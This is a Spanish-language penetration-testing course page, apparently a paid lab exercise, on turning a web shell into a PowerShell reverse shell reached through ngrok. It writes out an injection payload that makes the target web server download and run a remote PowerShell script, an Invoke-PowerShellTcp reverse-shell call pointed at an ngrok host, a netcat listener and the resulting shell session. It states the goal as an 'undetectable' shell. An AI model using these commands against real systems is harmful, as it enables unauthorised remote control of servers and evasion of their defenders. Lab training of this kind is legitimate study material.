Migracion de WebShell a Reverse Shell via PowerShell

Para llevar tu aprendizaje al siguiente nivel y practicar estas técnicas de manera segura y efectiva, te invitamos a adquirir acceso premium a nuestro material de curso. No pierdas esta oportunidad de profundizar tus conocimientos. Para más información y adquirir tu acceso, visita nuestro canal de ventas: https://wa.link/j265a0. ¡Te esperamos para empezar este viaje juntos!

OBJETIVO DEL EJERCICIO #5:

Obtener una reverse shell indetectable desarrollada en powershell atravez de un direccionamiento publico utilizando NGROK. Para realizarlo es suficiente tener encendido UNICAMENTE WEBSERVER y First-DC.

Ahora es importante que tengas configurado con nuestra guia de Utilizando IP publica para auditorias reales

Ahora levantamos un puerto 80 sobre el servicio de HTTP y encendemos ngrok sobre ese puerto:

En la evidencia previa, se puede apreciar que estoy accediendo desde el navegador a la URL generada por NGROK que esta exponiendo los archivos a nivel de HTTP con python.

Ahora vamos a iniciar nuestro oyente donde recibiremos la shell inversa:

En la evidencia previa, se realizo un Bypass ANSI y se configuro en la ultima linea de la shell inversa la ejecuccion de la funcion especificando el host y puerto de Ngrok:

Invoke-PowerShellTcp -Reverse -IPAddress 8.tcp.us-cal-1.ngrok.io -Port 14944

La IpAddress seria el host que nos entrega Ngrok y el puerto seria lo que esta despues de los dos puntos.

La shell utilizada es:

Ahora vamos a replicar todo lo aprendido sobre el laboratorio:

Vamos a concatenar el bypass ANSI con el Invoke-PowerShellTCP:

Despues de lo anterior configuramos nuestro oyente de netcat:

kali@kali=> nc -nvlp 443

Y configuramos nuestro ngrok:

kali@kali=> ./ngrok tcp 443
Version                       3.3.5                                                                      
Region                        United States (us)                                                         
Latency                       76ms                                                                       
Web Interface                 http://127.0.0.1:4040                                                      
Forwarding                    tcp://6.tcp.ngrok.io:19858 -> localhost:443 

Y luego tomamos los valores entregados por Ngrok y modificamos la shell inversa:

Invoke-PowerShellTcp -Reverse -IPAddress 4.tcp.ngrok.io -Port 10690

La shell inversa final quedaria asi:

Teniendo en cuenta la explicacion de Utilizando IP publicas y dominios confiables para el almacenamiento de herramientas vamos a subir esta shell en GitHub.

Y Finalmente, ejecutamos lo siguiente sobre el servidor web:

8.8.8.8& powershell -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Spartan-Cybersecurity/CPPJ/main/PowerCPPJ.ps1')"

Despues de ejecutar esto en el navegador, vamos a obtener nuestra shell inversa:

kali@kali=> nc -nvlp 443                 
listening on [any] 443 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 54972
Windows PowerShell running as user WEBSERVER$ on WEBSERVER
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\windows\system32\inetsrv>

Desde aqui podriamos ejecutar los mismos comandos enseñados de enumeracion:

PS C:\windows\system32\inetsrv> whoami
iis apppool\defaultapppool

PS C:\windows\system32\inetsrv> hostname
WebServer

PS C:\windows\system32\inetsrv> ipconfig
Windows IP Configuration

Ethernet adapter Ethernet 2:
   Connection-specific DNS Suffix  . : spartancybersec.corp
   Link-local IPv6 Address . . . . . : fe80::3dce:ac79:a1b0:7820%7
   IPv4 Address. . . . . . . . . . . : 10.0.1.249
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.0.1.1

Última actualización